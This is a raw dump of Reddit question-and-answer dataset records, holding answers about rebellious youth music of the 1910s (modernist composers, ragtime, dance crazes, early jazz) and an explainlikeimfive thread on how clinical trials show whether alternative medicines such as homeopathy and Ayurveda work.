atonality and the twelve-tone technique, both are *incredibly* punk. By just 1912, he premiered *Pierrot Lunaire*, which used a technique called sprechgesang (\"spoken singing\". An analog in modern music would be rap. So yeah, Schoenberg pretty much invented rap). At some of the premieres of his compositions during this period, the audience would go insane. As in they'd shout the music down, demand it stop, the critics hated it, say he'd gone crazy. Strauss wrote to a friend that Schoenberg \"would be better off shoveling snow than scribbling music on paper.\" But Schoenberg very quickly rose to fame and formed the Second Viennese School, with members like Berg and Webern, that continued to shake the music scene for decades.\n\nBut there were a lot more punk composers. Stravinsky didn't care about twelve-tone, he loved folk music, especially from his native Russia. So he wrote that into *The Rite* (1913) and that premiere started a riot and a scandal, much the way some of Schoenberg's music did. And by riot, I mean, in a concert hall full of gents in tuxedos and monocles, the cops had to be called in to break up fights. The work didn't even have a chance to finish before the lights were turned on and the musicians and dancers had to rush backstage.\n\nI really love Satie and he premiered a radical work in this period that also caused a near-riot. It was a rather short ballet, titled *Parade* (1917), using the same dancers as Stravinsky used in *The Rite*, Diaghilev's Ballets Russes. But Picasso designed the costumes, Massine choreographed, and Cocteau wrote the scenario, so everyone knew it was going to be wild. *Parade*, like *The Rite*, also used folk music, but it added literal guns being shot, police sirens, the clacking of typewriters, and much more to the score (actually to Satie's chagrin). No joke, Satie was sentenced to jail as a result of *Parade*. A critic wrote a bad review and Satie sent him a postcard calling him rather banal obscenities, but that was enough for the Parisian courts to convict him for 'public indecency'.\n\nAnd all of this music and the avant-garde was steeped in radical political movements of the time, like communism and anarchism, which added to the rebellious nature of it.\n\nThere's so much more in this period, but the music itself too was in its own rebellious teenage form and each composer would grow a bit and make incredibly excellent work (except for Stravinsky, he returned to the traditional and made boring music until he died).", "In 1910, the word 'adolescent' was not much older than the adolescents of the era, and the idea of the 'teenager' was still a few decades in the future. The term 'adolescence' was most associated with G. Stanley Hall, one of the first American psychologists (he founded the *American Journal of Psychology*, and basically invented developmental psychology). In 1894, Hall had announced he was going to study not children but 'adolescence', and a decade later published the book *Adolescence: its psychology and its relations to physiology, anthropology, sociology, sex, crime, religion and education*. Hall was sort of more of a prophet of adolescence rather than a describer of adolescence; he argued that adolescence was a specific stage in life that people *should be* paying more attention to, rather than it being one people *were* paying attention to.\n\nAfter all, adolescence is not only about being a certain age with a certain set of hormonal changes etc, but in a certain *stage of life*, something which is dependent on the society and how it structures itself. In 1910, only about two-fifths of students went onto high school in the USA, which was itself a massive increase in the amount of high school students compared to a few decades previous. By 1940, three-quarters of children would go onto high school. So what did the other three-fifths of students in 1910 do? Well, they were working. \n\nTo truly have 'teen culture', you need to have shared experiences between teens, and until high school became *de rigueur*, this wasn't the case - the lives of teens working in factories at the age of 14 were very different to the lives of upper middle class children aiming to go onto further education. It's not until high school becomes the done thing that teens really start to take their cues not from the adults they looked up to, but instead their peer group. \n\nIn terms of music, it's also important to remember that the record player and recording technology was very much in its infancy in the 1910s. Similarly, radio was around in the 1910s, but it was in the 1920s that radio really exploded as popular home entertainment. Instead, this was an age of sheet music, a music culture where people see live music and/or play it at home to make their own entertainment. This means, effectively, that you don't quite get the kind of mass cults you get around individual artists - Elvis, or the Beatles, for example. Instead, culture was by necessity much more local (though not as local as it once had been, because record players *were* nonetheless able to spread sounds).\n\nWith those caveats in mind, the dominant music likely to appeal to youth who were wanting to break free of society's constraints, in the (early) 1910s, was ragtime. This style of music had been around for some time in the black community - Scott Joplin's 'The Entertainer', probably the best known ragtime thanks to the 1970s movie *The Sting*, was 1902 - but it first made a big impression in white America in the 1910s, with [the success of the Irving Berlin song 'Alexander's Ragtime Band'](_URL_0_) and the musical *Hullo Rag-Time*. \n\nMusic magazines were kind of horrified by the music; the *Musical American* thought it was like an addictive drug, while the *Musical Courier* thought that America was \"falling prey to the collective soul of the Negro through the influence of what is popularly known as 'rag time' music\". The *Musical Courier* considered this \"a national disaster [because the music was] symbolic of the primitive morality and perceptible moral limitations of the Negro type. With the latter sexual restraint is almost unknown, and the wildest latitude of moral uncertainty is conceded.\" Along with ragtime went a popular form of dance, the various 'animal dances', like the turkey trot, the bunny hug and the kangaroo dip, all of which were danced in pairs, and where the dancers touched more parts of their body together than in the more decorous dances of tradition, like the waltz. \n\nIn the closing years of the 1910s, ragtime began to be replaced in popularity by bands like the Original Dixieland Jass Band ([whose Dixie Jass Band One-Step you can hear here](_URL_1_)), who had sold a million copies of their record in 1917, and who had gone international in 1919 with a London residence - if ragtime had seemed hypnotically rhythmic to observers like J.B. Priestley, the jazz genre given birth by people of colour in New Orleans that the ODJB brought to America's consciousness would take that to another level entirely.\n\nHowever, generally, this music isn't the music of teen rebellion in quite the same way that The Who ('I hope I die before I get old') might have been in the 1960s, or punk was in the 1970s, or grunge was in the 1990s - this isn't teen rebellion *marketed as teen rebellion*. The rebellion inherent in the music is the act of breaking free from the categories and constraints of an age perceived as dominated by stuffy Victorians; the rebellion is in the desire to lose yourself in music and dance - it's more *Footloose* than *Blackboard Jungle*. \n\nBut the word 'teenage' is a product of the 1930s, and the word 'teenager' came to prominence in 1944; it was in the 1940s that 'teen culture' genuinely starts to become a thing. In contrast, the ragtime and jazz of the 1910s was perhaps seen as music for 'youth'. But 'youth', even at the time, was a broadly defined term; many of the 'youth' dancing to ragtime weren't teens at all but were in fact young adults, people not yet settled down as adults with a marriage and kids. And to some extent, during the period, you could be reasonably old and still fit the idea of 'youth', because in some ways the term 'youth' was more about a sense of freedom and breaking free of the era's perception of Victorian stuffiness.\n\nSource:\n\nJon Savage, *Teenage: The Creation Of Youth 1875-1945*", "***Note: Remove if not suitably sourced.***\n\n*Likely this won't meet the standards of the sub, not an historian but a record collector. A few things stand out from observation. Thus please remove it if it does not meet the standards as it's hastily knocked out and I have not referenced more than a few records. Thought it was an interesting question, could have a book-length answer heading off on multiple tangents of a chapter each. Many factors are involved.* \n\nIt might be assumed that as the precursor to Jazz, Ragtime is the likely answer. However that is only partly the case. Ignoring the fact that the 'teenager'  wasn't really a concept then as more recently this is a very interesting question. Popularly the 20's and upwards are more likely to be noted as having young vs older tastes (jazzy dance bands as opposed to staid parlour music etc). Radio was not in the picture at this point, films were silent. Theatre organs were in the process of being invented. (Robert Hope Jones eventually selling the design to Wurlitzer). Mass access to affordable music was less common. \n\nHowever, among those who could get to Broadway, or afford a phonograph or gramophone there were distinctly different kinds of musical style appearing. Ragtime was around, jazz (as jass originally) began to be recorded (its origins are earlier - photograph exist of Buddy Bolden's band c.1900 or so, it's one of the sources which supports the argument that the banjo took off in jazz and popular music due to the recording technology (acoustic) of the time and its lack of frequency response. Boldens band appear to have been using a guitar.  \n\nAs for acoustic recording, by its end (1925 for most major labels) it was incredibly able and in some cases hard to distinguish from early electric records. It did force a series of techniques in the studio (placement of instruments, such as the piano up and close to the recording horn. Singers had to move toward and away from the opening with volume changes) and of singing styles. There was a 'recording voice' much as there was a stage voice and later on a radio voice. \n\nDuring the 1910-1920 period 'modern' music ranged from brass bands playing up-tempo music through popular vocal duets and solos and instrumentals. The most likely to fit the question would be ex Music Hall (UK) and Vaudeville (US) songs and music, a lot of the  singers of the era tried to emulate what was popular.\n\nThe unfortunately titled Coon Song was (usually white people singing in 'blackvoice' and when done badly a lot of 'massa' and 'yahs bahs sho' nuff' type stuff - I often wonder how many songs rhyme moon with coon for no apparent reason other than to fit the category). \n\nIt is not all early Cantor and Jolson that would fit your question though, a lot of the bigger sellers were session musicians (Billy Murray the obvious example, but also Jones and Hare, Harlan and Stanley, Kirkby and Hudson, Will Thompson and Harry Cove, - these last two are examples (Cove and Thompson usually as Hayes and Croft, but like most studio artists they had multiple other names) are good examples of British singers doing an 'american sound' which to me sounds like british singers on old records occasionally adding in a 'black' accent, and often singing those tunes not bothering with the accent at all.  \n\nThese were popular records and despite their fragile nature copies are not uncommon today. Evidence of their sales volume at least. \n\nFrom old sheet music sales volumes it is clear that people bought tin pan alley type tunes (really a precursor at this point, but Walter Donaldson and the like were off to a running start before 1920). \n\nJazz. (Jass). A number of black musicians did not record for a fair time, and accessibility to live performances was not what it might be today. (Also segregation plays a part in all of this). The Original Dixie Jazz Band was not particularly notable as jazz, and not at all black. They did, however bring the stylings of it to popular consciousness (it was called all sorts of names and criticised as are all 'new' forms of popular music - think Johnnie Ray, then Rock and Roll, Metal, now Rap).\n\nA large part of popularity of new music has (subjective opinion) been white performers using 'black styles' and thus A: getting contracts, B: selling records and spreading the consciousness. Much as people talk of cultural appropriation, without it, without white performers singing tunes by (often Jewish  - see demographics of tin pan alley writers) composers, and these records sneaking into households there would be less to listen to now. It would be of no consolation to the black originators at the time of course. I am not going into blackface and its (everything really) at this point. Divisive topic. \n\nAs for what rebellious music of say, 1915 might have been, it'd likely be a popular duet of a 'black styled' vocal arrangement of a jaunty song about the usual love and so on. This is such a cursory description and merely skirting the surface of an enormous and fascinating topic. I haven't touched on piano rolls, actual ragtime, or many many other factors and examples. \n\nThe music itself, it's a good way to  get an idea of the point: \n\nAll popular sellers, dates on videos,  \n\n[_URL_5_](_URL_5_) Collins and Harlan typical 'Coon Song'.\n\n[_URL_6_](_URL_6_) British Duet Stanley Kirkby, Harry Hudson.\n\n[_URL_1_](_URL_7_) British Duet Cove  &  Thompson.\n\n[_URL_4_](_URL_4_) Music hall song, British.\n\n[_URL_2_](_URL_2_) Banjo Instrumental. \n\n[_URL_3_](_URL_3_) Almost Jazzy in spirit rather than style from Edison and Billy Murray/Premier Quartet. \n\n[_URL_0_](_URL_0_) Comic novelty song, heading for modern. \n\nThe best quick way to look up what was rebellious is to look up what didn't the establishment like. Music hall was seen as crude, black or fake black was seen as primitive (parallels with Rock and Roll, the 'lack of restraint' -or showmanship, depends how you look at it- of the likes of Johnnie Ray, the uproar in things like the daily mail over rap lyrics etc). \n\nThe recordings which sold well and are thus usually still available are another good example. ", "This post is longer than it probably needs to be, but TL;DR: Dance crazes.\n\nFirst, let's examine how your typical listener consumed popular music in the 1910s. In the United States, at least, there were a number of different channels for the consumption of popular music. One is stage performance, which would have reached American audiences through touring vaudeville shows (usually at archetypal music halls, but also at respectable early American cabarets, such as the Folies-Berg\u00e8res, which opened in New York in 1911) featuring various songs pulled from popular Broadway musicals, alongside comedy skits, burlesque acts, and so on. The songs for these musicals, in turn, often came from the hard-working songwriters of Tin Pan Alley, which had coalesced in the late 19th century in response to improved musical copyright enforcement and the resulting potential for profit. Another important avenue for these songs to be heard was by being licensed as background music for movie theaters, which employed around 22,000 musicians nationwide by 1926, to say nothing of the widespread use of player pianos. These songs also competed with each other for sheet music sales (usually for home performance on the piano) and record sales, recorded on wax disc rather than the older wax cylinder format, which was beginning to die out by the beginning of the 1910s. *Billboard*'s first music chart, entitled \"Popular Songs Heard in Vaudeville Theaters Last Week,\" dates from 1913, and sheet music sales persevered as a major element of the American popular music industry until the 1929 Wall Street crash.\n\nNone of the methods of music consumption I've mentioned, however, were particularly well-suited to fostering a distinctive \"teen culture\" centering around music. The household piano and phonograph, if a given household was wealthy enough to have them at all, belonged foremost to the parents, who had veto power over what was played on them; the music industry therefore didn't really bother producing much material for home consumption that might have offended the average American parent's sensibilities. To simplify tremendously, the development of *any* distinctive teen culture was hampered by social constraints around how young people were expected to behave in this time period, and the ways that commercial society reinforced those expectations in a structural manner. This didn't really start to change until, at the earliest, the end of World War I, when soldiers came home with a disillusioned, devil-may-care attitude that contributed to a reevaluation of all the fine upstanding traditions that had failed to stop so much senseless death. (See also: modernism.) Later on, the spread of portable radios in the late 1940s and early 1950s allowed teenagers to consume music at will, on their own terms, and led to further cultural shockwaves as teenagers began to flex their own power as consumers.\n\nBut back to the 1910s. Among the ways in which popular music was consumed, a major exception to some of the social constraints I've mentioned was dance. There are all kinds of reasons why dance was the site of important social change in this era and in many others: it is deeply interactive and performative; it is often the province of the young and fit; it can be presented/promoted as traditional and stabilizing while actually being subversive and transgressive. The advent of the waltz in the 19th century, for example, with its \"closed hold\" between a male and female dancer, was at first considered shockingly improper. In 1912, Vernon and Irene Castle, a married white couple of professional dancers, returned to New York from a successful tour in France where, to great acclaim, they had adapted African-American dances (most famously the foxtrot) to the tailcoat milieu of the Parisian caf\u00e9; one of their numbers was set to \"Alexander's Ragtime Band,\" a hit song from Tin Pan Alley written by a very young Irving Berlin. They quickly became the toast of New York's cabaret scene, starring in Broadway shows, opening a dance school, and making films. They also hired African-American musicians such as James Reese Europe, and made great strides in making black dance music more \"palatable\" to a mainstream white audience. Along the way, they started a series of dance crazes that swept the nation, leading to the establishment of numerous dancing halls and thereby helping to bring social dance out of the formal, private ballroom and into the public sphere. (A lot of other people were involved in this process, of course, but the Castles were two of the most famous.)\n\nThe 1910s are hardly the only time in the United States when popular dancing has been criticized as immoral, but the preeminence of dance in the popular culture of the time, and the emergence of the public dance hall (often serving alcohol, or connected to an establishment that did) meant that the pushback was strong as well. A Christian periodical wrote of \"the modern dance\" in 1914: \"It is a war on physical health; a menace to men's moral nature; the avenue through which thousands pass into brothels. The dance hall is the nursery of the divorce courts, the training-ship of prostitution, and the graduation school of infamy.\" Well, I never! (And there was a racial aspect as well to these responses, connoting the African-American origins of some of the dances with lewdness and moral laxity. One author wrote that the dance hall was \"the beginning of the white slave traffic in many instances.\") The hysteria in opposition did not outstrip the hysteria in favor, but it certainly affected the reaction of many people, and especially many parents. It is worth adding the caveat here that the dance crazes of the 1910s were not *exclusively* teenage music, as they were widely popular, but they were particularly popular among young people and the paranoia around potential moral turpitude was centered on young people as well.\n\n\"What about jazz?\" I hear you ask. During most of the 1910s, jazz (or proto-jazz, depending on who you ask) was largely restricted to New Orleans, until the government's closure of the famous Storyville red-light district in 1917 (for fear of distracting the troops stationed in New Orleans) caused a diaspora of jazz musicians to spread to Chicago and elsewhere, making jazz into a national music. Also in 1917, the Original Dixieland Jass Band recorded their first few records in New York and initiated a relatively minor jazz craze at the end of the 1910s. But I would argue that this pales in comparison to the national and international influence that jazz had later on, from about 1920 onwards\u2014you know, the *Jazz Age*\u2014and that the dance crazes such as the foxtrot are thus a better candidate for answering this question.\n\nSources: *The Seventh Stream* by Philip H. Ennis; *The Wicked Waltz and Other Scandalous Dances* by Mark Knowles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://blogs.loc.gov/now-see-hear/2014/11/its-scandalous-its-immoral-its-the-turkey-trot/", "https://www.npr.org/sections/npr-history-dept/2015/06/11/413522281/dirty-dancing-in-the-early-1900s", "https://books.google.com/books?id=iFJFAQAAMAAJ&amp;pg=PA894&amp;lpg=PA894&amp;dq=turkey+trot#v=onepage&amp;q=turkey%20trot&amp;f=false"], [], ["https://www.youtube.com/watch?v=uhE4wi_9ZYE", "https://www.youtube.com/watch?v=mW7rldvqN1w"], ["https://www.youtube.com/watch?v=rgkrIB8epRw", "https://www.youtube.com/watch?v=qqUG\\_QqqaBA", "https://www.youtube.com/watch?v=OnvoPyjX29w", "https://www.youtube.com/watch?v=yAMXhoSbcK0", "https://www.youtube.com/watch?v=HqsW-M0CHqg", "https://www.youtube.com/watch?v=J8Pr52Te9kU", "https://www.youtube.com/watch?v=H0efQMirDSY", "https://www.youtube.com/watch?v=qqUG_QqqaBA"], []]}
{"q_id": "alwmwl", "title": "how do we know whether an alternate medicine works or not when there are people around us who claim that their disease was diagnosed and cured by it?", "selftext": "I specifically mean Ayurveda and homeopathy here. They say that Ayurveda has cured cancer without any nasty side-effects of chemo. We know that these alternate disciplines don't have proper diagnostic methods for most of the diseases because there were no microscopes or MRI equipment back then. Then they say they didn't need all those stuff and they diagnosed diseases just by checking your pulse or whatever. Doctors and scientists, please help me. Thank you very much for your comments and replies.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/alwmwl/eli5_how_do_we_know_whether_an_alternate_medicine/", "answers": {"a_id": ["efhjjzp", "efhl09l", "efhl639", "efhlfmg", "efhlmzr", "efhloq4", "efhlpvs", "efhlqqj", "efhlvec", "efhm9fo", "efhmc32", "efhmg4x", "efhn43o", "efhnk6p", "efhnlxz", "efhnra6", "efhoreu", "efhos1d", "efhot8z", "efhp8at", "efhpa9p", "efhpj3j", "efhqoge", "efhqxrs", "efhr2m7", "efhr414", "efhr6kh", "efhrg9t", "efhrnaf", "efhruvi", "efhstey", "efhtbub", "efhufvs", "efhv815", "efhysua", "efhzutm", "efi0l3v", "efi0lct", "efi3hvd", "efi3z8t", "efi4i5s", "efi552g", "efieoml", "efifd7n", "efifdsq", "efifp5b", "efifsf7", "efigooq", "efigttk", "efih5cl", "efinvjh", "efj2v3s", "efj87r2", "efjfu6y"], "score": [1663, 7, 12, 6327, 2, 5, 2, 2, 21, 4, 2, 61, 6, 49, 2, 3, 2, 2, 44, 4114, 2, 79, 6, 2, 2, 8, 2, 308, 2, 2, 2, 3, 2, 26, 2, 4, 4, 2, 2, 2, 2, 6, 3, 4, 3, 3, 3, 4, 2, 3, 2, 2, 2, 2], "text": ["Unfortunately humans are not very good analysers of raw information. We confuse ourselves with data, we have biases and we have fallacies. We tend to overestimate our ability to understand complex ideas (this is known as the [Dunning-Kruger effect](_URL_0_)).\n\nWe don't really like to think about it, but the reality is that our brains are easily fooled. Magic tricks, optical illusions, marketting and advertising gimmicks, and so on. **They work.**\n\nThere's an old saying: ***The plural of anecdote is not data***. Anecdotes are a really lousy form of determining if something is true or not.\n\nBut don't fear. Humans have come up with a tool to help weed out our bad data and minimise our biases: it's called the ***scientific method***. That's how we know if alternative medicine works or not. We conduct studies and we gather information over time and we **see what the evidence points to**. Does the evidence suggest that this thing actually works or not?\n\nIf alternative medicine worked, it would cease to be alternative and simply be called ***medicine***.\n\nIf you really want to know **how to know** if something is true or not, I recommend watching [The Baloney Detection Kit](_URL_1_). It's 10 tips for helping you to spot nonsense.", "The big thing is that lots of trials need to be run to test whether or not something actually has the claimed effects.\n\nAlso, 99% of \"alt-medicine\" is pseudoscience.  A good way to check for this is by asking \"what would it take to prove you wrong?\"  If the answer is \"you can't\", it's pseudoscience.  Real science always carries the risk of being disproven at a later date (plus \"you can't prove me wrong\" is the fallacy of ignorance\" - you also can't disprove that there are rabbits on the dark side of the moon making natto).  To add to your second part, that is exactly why anecdotal evidence is not accepted in science.  Because people, willingly or not, are liars.", "The cancer was cured through sheer luck / randomness. Who's to say the cancer wouldn't have cured itself if the person took nothing? If there was actually a cure that entailed drinking random juices, then it would be an actual cure and not an 'alternative' one", "To determine if a certain type of treatment works, it must produce better results than placebo.\n\nThe confusion begins because placebo works, and people feel better with just taking placebo. Same as some people get better when taking alternative medicine. However if the number of improved patients is the same as the number that get better with a placebo, the treatment remains in alternative category.\n\nThat's how you can understand many stories of people getting better.", "Alternative medicine that works, is simply called medicine. Placebo effects are amazingly powerful, and can help some people. A lot of the time they are self diagnosing, and then treating with alternative meds though. It's a big scam that is unregulated.", "Scientist: A randomized double-blind trial found no significant differences between the group that used the Product X and the group that used the placebo. We can then conclude there is no evidence for the claims of the vendor. \n\nLittle blue man 1: That\u2019s just your opinion! It worked for me!\n\nLittle blue man 2: You should try it yourself before opening your mouth and looking like a fool! [evidence](_URL_0_) ", "Without actual diagnostics how the hell do you know it's cancer? Pulse etc is BS.   I've seen tons of tumors that \"looked\" like scary cancer but turned out to be completely benign. Thats the first bullshit check. ", "We use something called \"the scientific method\" to figure out if something is true or not.  You start by asking a question, such as \"Does this Ayurveda cure cancer\"  Then you do research, or study about it at the library to see if anyone else has asked the question, and if so, what did they find out?  Then, if no one has asked the question, or the answers were not enough for you, you do a scientific test.  There is some math involved here, but you figure out how many people you need to test, and then you give half of them the treatment you think will cure cancer.  Then after some time you see how many in the group you didnt treat (called a control) died of cancer, and how many in the group you did treat died of cancer.  Then you use some more math to compare the two numbers.  Also, if you can, you want to make sure that nobody knows for sure if they are getting the real treatment or not or just a pretend treatment.  Sometimes people who think they are getting a treatment get better even if they are not.  Once you compare the two numbers you publish your results for others to see.", "The wonderful thing about medicine and the scientific method is that it is always open to being wrong.  So, if someone shows that a seemingly bonkers treatment actually does cure cancer, the scientific method will confirm it and the treatment will become the medicine used to treat the cancer.  \n\nSuccessful treatment (proven by excluding other variables) that can be repeated **is** medicine.", "Simple: Can it be tested in a controlled environment with replicable results?", "When a treatment works, we don't call it alternative medicine; we just call it *medicine*.\n\n[This old XKCD sums it up nicely.](_URL_0_)\n\nMost of modern medicine as we have today was found in a process that started centuries ago - when scientists of the day would take a look at all the remedies around them and do controlled studies to figure out which ones *actually* worked and which ones just tended to coincide with a problem going away on its own.\n\nThe ones that worked? We still have and use today in the realm of modern medicine.\n\nThe ones that didn't? They still stuck around in books, magazines, and memories. Over time, they come surging back as an \"alternative\" whenever there is some kind of gap or failure in the scientific medical field occurs. Most notably, when there's something that modern medical science has not managed to cure yet, like cancer.\n\nThat said, it also pops up in part because many people have had their genuine complaints downplayed or dismissed by medical professionals for reasons unrelated to science (i.e. people of color, women, etc.). This is why \"alternative\" medicine is often popular among such marginalized groups.\n\nWe know that \"alternative\" medicines don't work because it's already *been* tested, sometimes centuries ago.", "First, you ask them a few questions like \"When you say you had cancer, do you mean a doctor actually found cancer?\" A good number of times, they will say that they found a lump or had a weird mole or something, assumed it was cancer, and treated it themselves.  \nIf they say yes, ask them \"and then after the treatment a doctor has pronounced you cancer free?\" Sometimes the disease will slow down for a while, or the placebo effect will kick in, and you'll feel better for an undetermined period of time. Sometimes the cancer was never malignant, so they're not going to deteriorate anytime soon.  \nAnd then you ask \"did you do any other treatments as well?\" If you got surgery but not chemo or radio, there's still a chance that they got it all and you got lucky.", "I don't know anything about Ayurveda, but we know homeopathy doesn't work because we have an extensive knowledge of chemistry at the molecular level.  When homeopathy is used, what's actually given is going to come down to either a single molecule of a compound in a bunch of water or more likely, 0 molecules of the initial compound and just water.  That's how far homeopathy dilutes the initial compound they use.  If you want the math, I can do the math, but it's just stoichiometry.\n\nNow like I said, I don't know anything about Ayurveda, but the extensive knowledge of chemistry we have also applies here.  There's a good chance people have done studies regarding whatever they use in Ayurveda, or they didn't bother because they knew from their understanding of chemistry nothing would happen, and ultimately they found nothing happened.", "We use a process called science.\n\nScience is a way of working out what is and isn't real.\n\nYou come up with an idea about what is real (usually based on observations), then you test it by coming up with an experiment (something that you can measure) that will give you a different answer if your idea is right or wrong. And you run the experiment.\n\nOn the basis of that experiment, you refine your idea (improve it) or reject it.\n\nIdeally, rather than looking for measurements that agree with your idea you look for evidence that would disagree with it. And you keep going until you find some.\n\nAnd, ideally, you get other people to do so as well. Trying different things.\n\nAnd the longer people are looking for evidence that contradicts your idea, without finding any, the more certain we can be that your idea is a good one.\n\n-----------\n\nFor medicine, this works in a fairly standard way - a **randomised**, **controlled**, **double blind** trial.\n\nYou get a group of people. You randomly split them into two groups (\"randomised\"). You give one group the treatment want to test, you give the other group an identical treatment but without whatever element of the treatment you think makes it work (this causes problems with things like homoeopathy when, often, the \"treatment\" doesn't actually have any element that makes it work). You make sure that everything other than this one aspect is the same for both groups (\"controlled\"). You make sure that neither the test subjects, *nor the people treating them* know which group they are in (\"double blind\").\n\nYou then see how the people do. You find some objective (so not wishy-washy, or feelingy, but hard, observable fact) way of measuring this. And you see if there is a *statistical* difference between your two groups of people, and if this difference is *significant* (there is a lot of maths behind this, based on probability - it isn't enough that one group did better on average than the other, you need to make sure that they did better enough that the difference probably wasn't just random variations - phrases like \"statistically significant\" have meaning).\n\nThat gives you an idea of whether your treatment works.\n\nPlus you should repeat the experiment, with as many people as possible, making sure to control for as many other factors as you can. Also you should set up your test rules *before* you run the experiment, what outcome you are looking for, and publish this so everyone else knows what you're doing - and then publish the results *even if the experiment isn't conclusive* and especially if it concludes against your treatment (this part is really important - there's a big problem with many areas of science where people only report successful experiments, so wrong \"success\" results are more likely to be reported than \"failure\" results - [vaguely-relevant XKCD](_URL_0_)).\n\nTo conclude that something does work, you want what's called a **systematic review**, or **meta-analysis**. This is a scientific study that looks not at the treatments, but looks at the studies about the treatments. It looks at all the studies on a particular thing, weights them by how thorough and scientific they are, and then looks at how their conclusions match up.\n\nOnce these start turning up positive results for your treatment, you're probably good to go.\n\nUnfortunately, getting here takes time, effort and lots of money. So sometimes people don't do as much research as they should, and they leap to conclusions they probably shouldn't.\n\n-------------\n\nAs for things like homoeopathy and Ayurveda, it's also worth looking into the underlying mechanisms; looking to see if there is any reason why these things should work.\n\nAyurveda is based on non-scientific concepts such as \"balance\" and \"elements\" and similar. There is no scientific reason to think that it should work.\n\nAs far as I know, there is some scientific research into the effectiveness of Ayurveda treatments (including for cancers and cardiovascular diseases). None has shown a positive result. While some aspects may work (such as massages being relaxing), those are the ones adopted by normal medicine, and they probably work for scientific reasons not for Ayurveda reasons.\n\nHomoeopathy is far better studied. It is based on ideas proposed in 1796 that \"like cures like\" (so if something gives you a similar symptom to a disease, that thing will cure it) and \"dilution increases potency\" (so if you add lots of water to something it becomes more effective). These are false and unscientific. They were tested (scientifically) and found not to work. That should have been the end of it, but sadly it wasn't (interestingly it seems the German Nazi Government was a big supporter and promoter of homoeopathy - they were notably unscientific in many ways).\n\nHomoeopathic treatments have been studied again and again, on many levels, by many, many people. Occasionally some provide positive results (which isn't surprising given the statistical nature of testing), but often fail when people try to replicate them. There is no reason to think that homoeopathy itself works.\n\nAgain, this isn't to say that some aspects don't improve people's lives (the placebo effect - where \"treatments\" that contain no active element produce positive results, even when the patient knows the treatments aren't real!), but they do so for scientific reasons, not for homoeopathic reasons, and it is far safer, more efficient and more effective to strip out the nonsense and work with the science instead.", "\"Alternative medicine\", *especially* homeopathy, does not work. Scientific trials have not shown it to be more effective than placebo. If it *did* work, it would be just be called \"Medicine\".\n\nWillow bark / willow tea is a \"natural remedy\" for headaches and pain. A while back we figured out what substance in willow bark is actually causing the pain relief, managed to make a purer, more potent version in a lab, and mass produce it for much cheaper than harvesting willow. We call that substance \"Aspirin\". Great example of what happens when we find something in nature that actually has an effect on the body.\n\nAlternative Medicine that works is just called Medicine.", "Here\n\nYou are hearing something called \"anecdotal evidence\", which is basically useless info.\n\nIf somebody says that _____ cured their _____, it is a statistical lie, unless research has proven that it has.\n\nStatistics is fun because some things can be proven with what SEEMS anecdotal but isn't, and some take thousands of people to prove.\n\nFor example, shooting somebody in the head a few times, and them being dead immediately after, doesn't require many people to prove the correlation.\n\nMost medicine is the latter. It goes through 3 trials (after animal trials) \n1) u can prove it works. Very small amount of people, you just show that your thing did the thing it did. Usually this can be on terminal patients with no other options, but sometimes it's like aspirin and you don't need to worry about harming them\n2) u can prove it works for the hospital/with a bigger dataset\n3) you can prove it works across many different geologies, races, body types, everything. Things sometimes work different in California than in New York. For example, different populations have wildly different lactose tolerances. 65% of the world is so if you are testing a milk based cure you might have a problem.\n\nThese have extremely complicated statistics (ideally) and utilize huge demographic data (we love you census) to say without a doubt what helps and hinders the medicine. Ridiculous stuff, things can even be as weird as \"concentration of alligators between 60-70 per 1000 humans causes this to be 0.0003% less effective\"\n\nObviously only incredible scientists go that far\n\nBut your friend saying his cancer was cured because he drank 3 turmeric drinks a day is as statistically insignificant as your friend saying his cancer was cured because he spanked a pig three times every day.\n\nGranted, one is eating something and putting it your body, but with no evidence to support turmeric does much of anything, it's the same. More or less.\n", "If it worked, they would take up James Randi's million dollar challenge.  Basically he has a million dollar prize to anyone claiming real magic ability.  The claimant comes up with the test themselves, the randi foundation provides the materials and sets it up.  They don't go ahead with the testing until claimant declares that its fair and gives approval.    \n\n\nOh, and they film the entire process.  He has yet to give out the check.", "Here is a good study on [accupuncture](_URL_0_) to treat pain related to a particular breast cancer drug. Here's what they did:\n\nThey took women taking this drug. They then randomly put them in one of three groups\n\n1. Real accupuncture\n2. Sham accupuncture, in which they inserted the needles in places that accupuncture says will not work\n3. Nothing\n\nThe women weren't told what type of accupuncture they were getting, although it seems that some of them figured it out.\n\nWith that caveat, the study shows that accupuncture works, albeit not particularly well.", "All alternative medicine is not equal. \n\nHomeopathy has been debunked completely because it defies the basic laws of chemistry.\n\nAyurveda on the other hand has been developed over thousands of years of research. Herbs and ingredients used in Ayurvedic medicines are often the source material for extracting compounds used to treat the same ailments in Western medicine. Currently 'trendy' foods like ginger, garlic, honey, turmeric have long been used in Ayurvedic preparations and their health benefits well documented in ancient texts. \n\nWhile it is easy to dismiss alternative medicines with pithy sayings popular in this thread, as always reality is a lot more complex.  \n\n  ", "Here's a study that came out in an extremely reputable scientific journal last year that followed *two million* cancer patients and their use of alternative medicine:\n\n[_URL_0_](_URL_0_)\n\nSummary: people with treatable cancers using treatments recommended by people who are not physicians are over *twice as likely to die* (edit: within 5 years of diagnosis) than people who follow the treatment prescribed by actual physicians.\n\nI post this study a lot because it's extremely relevant in today's culture of \"essential oils cure cancer.\" Because as a cancer pharmacist, let me tell you, they do not.", "What do you mean by works? Because they would induce the placebo effect, which is incredibly strong and can have real, physiological effects. That\u2019s not specifically the treatment causing the effect, though. If by \u201cworks\u201d you mean it\u2019s the treatment that\u2019s causing the effect, you do what\u2019s known as the \u201cgold standard\u201d of scientific medical evidence: a randomized double-blind placebo-controlled experiment. How that works is you get a group with whatever problem you are trying to treat and randomly split them into two groups. Group 1 will get the real treatment and Group 2 will get a sham treatment (for drugs this would look exactly the same but not have the active ingredient you are studying/administering to Group 1\u2014this is know as a \u201cplacebo\u201d). Neither group knows if they\u2019ve received the real or sham treatment, so the patients are \u201cblind.\u201d The researchers who are administering the drug and placebo are also blind as to which group has which so they do not unintentionally tip off the patients (the people overseeing the experiment know, but the people interacting with the patients don\u2019t). This way, we know pretty definitively if it\u2019s the active ingredient in the drug causing the effect or just the placebo effect that is causing the change. This can also be done to study surgery effectiveness\u2014yes, believe it or not the placebo effect occurs with sham surgeries. ", "Homeopathy is provably bullshit, however unfortunately, the word is misused and often used to describe home remedies/natural medicine in general(some of which works/is healthy, some herbal medicine is tested/proven- like St Johns Wort, Milk Thistle, Ginger, Turmeric). True homeopathy is the dosing of trace 